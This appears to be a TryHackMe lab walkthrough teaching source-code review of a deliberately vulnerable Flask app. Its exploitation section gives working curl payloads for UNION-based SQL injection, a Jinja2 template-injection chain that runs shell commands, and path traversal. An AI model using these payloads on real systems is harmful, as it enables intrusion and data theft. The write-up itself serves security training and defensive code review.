July 7, 2026
TryHackMe: Web Frameworks β Code Review (Vaultkeeper) Walkthrough
What This Room Teaches

By ghosteyeπ
4 min read
What This Room Teaches
Not every vulnerability needs fuzzing. When you're handed source code on an engagement (grey-box or white-box testing), you can read your way to bugs instead of guessing.
Key points:
- White-box/grey-box testing turns bug-hunting into a reading problem, not a guessing game.
- The method has five repeatable steps: orient β map attack surface β trace source-to-sink β triage with tools β confirm manually.
- Target for this lab: Vaultkeeper, a small deliberately-vulnerable Flask credential-storage app.
Step 1 β Orient: The Reading Order
Step Read Why 1 README / docs What the app does 2 requirements.txt Third-party CVEs 3 config.py Debug flags, secrets 4 Routes (@app.route) Full attack surface 5 Auth decorators Which routes are protected 6 DB / models How queries are built 7 Handlers Detailed logic
Key points:
- Read in this order before hunting for a single bug β it's the cheapest 10 minutes of the engagement.
- Dependency manifest β
requirements.txtβ pinned old versions are a lead to check against CVE databases. - Route decorator β
@app.routeβ every route is an entry point; list them all before reading logic. - Config file β
config.pyβ this is whereDEBUGflags andSECRET_KEYlive, and where devs slip up first.
Q&A covered in this task:
Question Answer Which file holds Python dependencies?
requirements.txt
Which decorator marks a Flask route?
@app.route
Which file holds DEBUG and SECRET_KEY?
config.py
Step 2 β Trace: The Source β Sink Model
Key points:
- A source is where user input enters β
request.args,request.form, cookies, headers, uploaded files. - A sink is a dangerous operation β
cursor.execute,render_template_string,send_file,eval,pickle.loads. - A bug exists only when a source reaches a sink with no safe/validating step in between.
- Trace in either direction: backward from a rare sink, or forward from a handler you're reading top-down.
- Watch for the second-order case β input sanitized on the way in, stored, then pulled unsafely into a sink much later.
Q&A covered in this task:
Question Answer Entry point traced backward from
cursor.execute?
The source What are
render_template_string / subprocess.run(shell=True)?
Sinks
request.args.get("name") β render_template_string, no validation?
SSTI
Step 3 β Triage: grep & Semgrep
grep -rn --include="*.py" -E "os\.system|subprocess|eval\(|exec\(|pickle\.loads|render_template_string|cursor\.execute|send_file|open\(" .grep -rn --include="*.py" -E "os\.system|subprocess|eval\(|exec\(|pickle\.loads|render_template_string|cursor\.execute|send_file|open\(" .Key points:
grep -r -ngives recursive search + line numbers β the fastest first-pass triage.grepmatches text; Semgrep matches code structure, which cuts through noise (imports, unrelated variable names) to real candidates.--configselects the Semgrep ruleset (e.g. a local rules folder or a registry set likep/owasp-top-ten).- A grep/Semgrep hit is a candidate, not a confirmed finding β always verify the input is actually user-controlled.
Injection Reference Cheatsheet:
Bug Vulnerable Safe SQLi f-string in cursor.execute() parameterized query (? placeholders) Command Injection subprocess.run(cmd, shell=True) list args, no shell SSTI render_template_string(user_input) render_template() with fixed template Deserialization pickle.loads(data) JSON, or yaml.safe_load Path Traversal send_file(joined_path) send_from_directory()
Q&A covered in this task:
Question Answer Two grep flags for recursion + line numbers?
-rn
Flag to select a Semgrep ruleset?
--config
Keyword arg that hands command string to shell?
shell=True
Worst deserialization offender?
pickle.loads (via __reduce__)
Step 4 β Mapping Vaultkeeper (Applying the Method)
ssh analyst@<target-ip>
cd ~/vaultkeeper && ls
# app.py config.py init_db.py requirements.txt templates uploads
grep -rnE "DEBUG\s*=\s*True|SECRET_KEY\s*=" --include="*.py" .
# config.py:6:SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
# config.py:7:DEBUG = True
grep -rn "@app.route" --include="*.py" .
# /, /login, /logout, /search, /vault/<int:item_id>, /files/downloadssh analyst@<target-ip>
cd ~/vaultkeeper && ls
# app.py config.py init_db.py requirements.txt templates uploads
grep -rnE "DEBUG\s*=\s*True|SECRET_KEY\s*=" --include="*.py" .
# config.py:6:SECRET_KEY = "vk_s3cr3t_d0_n0t_sh1p_2026"
# config.py:7:DEBUG = True
grep -rn "@app.route" --include="*.py" .
# /, /login, /logout, /search, /vault/<int:item_id>, /files/downloadKey points:
- Config check surfaced two issues immediately: hardcoded
SECRET_KEYandDEBUG = Trueleft on. - Route enumeration gave the full attack surface in one command β six routes, three worth deeper testing.
- Routes flagged as high-value:
/search(builds a query from input),/files/download(builds a file path from input),/vault/<id>(per-record access, no visible ownership check).
Semgrep Confirms 4 Findings
semgrep --config /opt/review/semgrep-rules .semgrep --config /opt/review/semgrep-rules .Key points β findings confirmed:
- SSTI β
render_template_stringon unsanitized input (line 86) - SQL Injection β f-string built directly into
cursor.execute()(lines 93β95) - Path Traversal β user input flows into
send_file()with no validation (line 124) - Hardcoded Secret β
SECRET_KEYcommitted in plaintext (config.py, line 6)
Step 5 β Exploitation
Authenticate first and save the session cookie:
curl -s -c jar --data "username=analyst&password=vaultkeeper" \
"http://<target-ip>:8080/login"curl -s -c jar --data "username=analyst&password=vaultkeeper" \
"http://<target-ip>:8080/login"π© Flag 1 β SQL Injection
analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar --get "http://10.49.172.89:8080/search" --data-urlencode "q=' UNION SELECT flag, flag FROM system_flags-- -" | grep -oE 'THM\{[^}]+\}' | head -1
THM{un10n_b4s3d_sql1_dump3d}analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar --get "http://10.49.172.89:8080/search" --data-urlencode "q=' UNION SELECT flag, flag FROM system_flags-- -" | grep -oE 'THM\{[^}]+\}' | head -1
THM{un10n_b4s3d_sql1_dump3d}Result: THM{un10n_b4s3d_sql1_dump3d}
Key points:
- The search query filters by
owner_idbut is assembled with an f-string β directly injectable. - The leading ' closes the existing
LIKE '%...'string. UNION SELECT flag, flagmatches the 2-column shape the original query already returns.- Trailing -- - comments out the leftover %', keeping the final SQL valid.
π© Flag 2 β SSTI β Remote Code Execution
curl -s -b jar --get "http://<target-ip>:8080/search" \
--data-urlencode "q={{7*7}}" | grep -oE 'Results for: [0-9]+'
# Results for: 49 β confirms template injection
analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar --get "http://10.49.172.89:8080/search" --data-urlencode "q={{ cycler.__init__.__globals__.os.popen('printenv FLAG2').read() }}" | grep -oE 'THM\{[^}]+\}'
THM{j1nj4_ss71_to_rc3}curl -s -b jar --get "http://<target-ip>:8080/search" \
--data-urlencode "q={{7*7}}" | grep -oE 'Results for: [0-9]+'
# Results for: 49 β confirms template injection
analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar --get "http://10.49.172.89:8080/search" --data-urlencode "q={{ cycler.__init__.__globals__.os.popen('printenv FLAG2').read() }}" | grep -oE 'THM\{[^}]+\}'
THM{j1nj4_ss71_to_rc3}Result: THM{j1nj4_ss71_to_rc3}
Key points β the gadget chain:
cyclerβ a Jinja2 built-in always in scope inside templates.__init__β its constructor, an ordinary Python function.__globals__β exposes the global namespace of the module that defined it (jinja2.utils), which importsos.os.popen(...)β executes a shell command and returns its output
π© Flag 3 β Path Traversal
analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar "http://10.49.172.89:8080/files/download?file=../../../flag3.txt"
THM{send_file_tr4v3rs4l_w1n}analyst@tryhackme-2404:~/vaultkeeper$ curl -s -b jar "http://10.49.172.89:8080/files/download?file=../../../flag3.txt"
THM{send_file_tr4v3rs4l_w1n}Result: THM{send_file_tr4v3rs4l_w1n}
Key points:
/files/downloadjoins thefileparameter onto the upload directory with zero sanitization.send_file()has no built-in path restriction β that's whatsend_from_directory()is for.- ../../../ walks back out of the intended folder to reach
/flag3.txtat the filesystem root.
Key Takeaways for the Report
- Reading order beats random exploration. Config β routes β auth β handlers, every time.
- grep and Semgrep produce candidates, not confirmed findings. Every hit still needs manual verification against real request/response behavior.
- Every injection bug shares one shape: a source reaches a sink with no safe step in between.
- An ORM is not automatic safety. Raw escape hatches (
text(),.raw(), f-strings inside otherwise-parameterized code) reopen the same risk. - Document what's absent, not just what's exploited. Two real findings never got a flag in this room β broken access control on
/vault/<id>and the hardcodedSECRET_KEYβ and both belong in a professional report regardless.
Result: All 3 flags captured. Room complete. β
THANK YOU FOR READING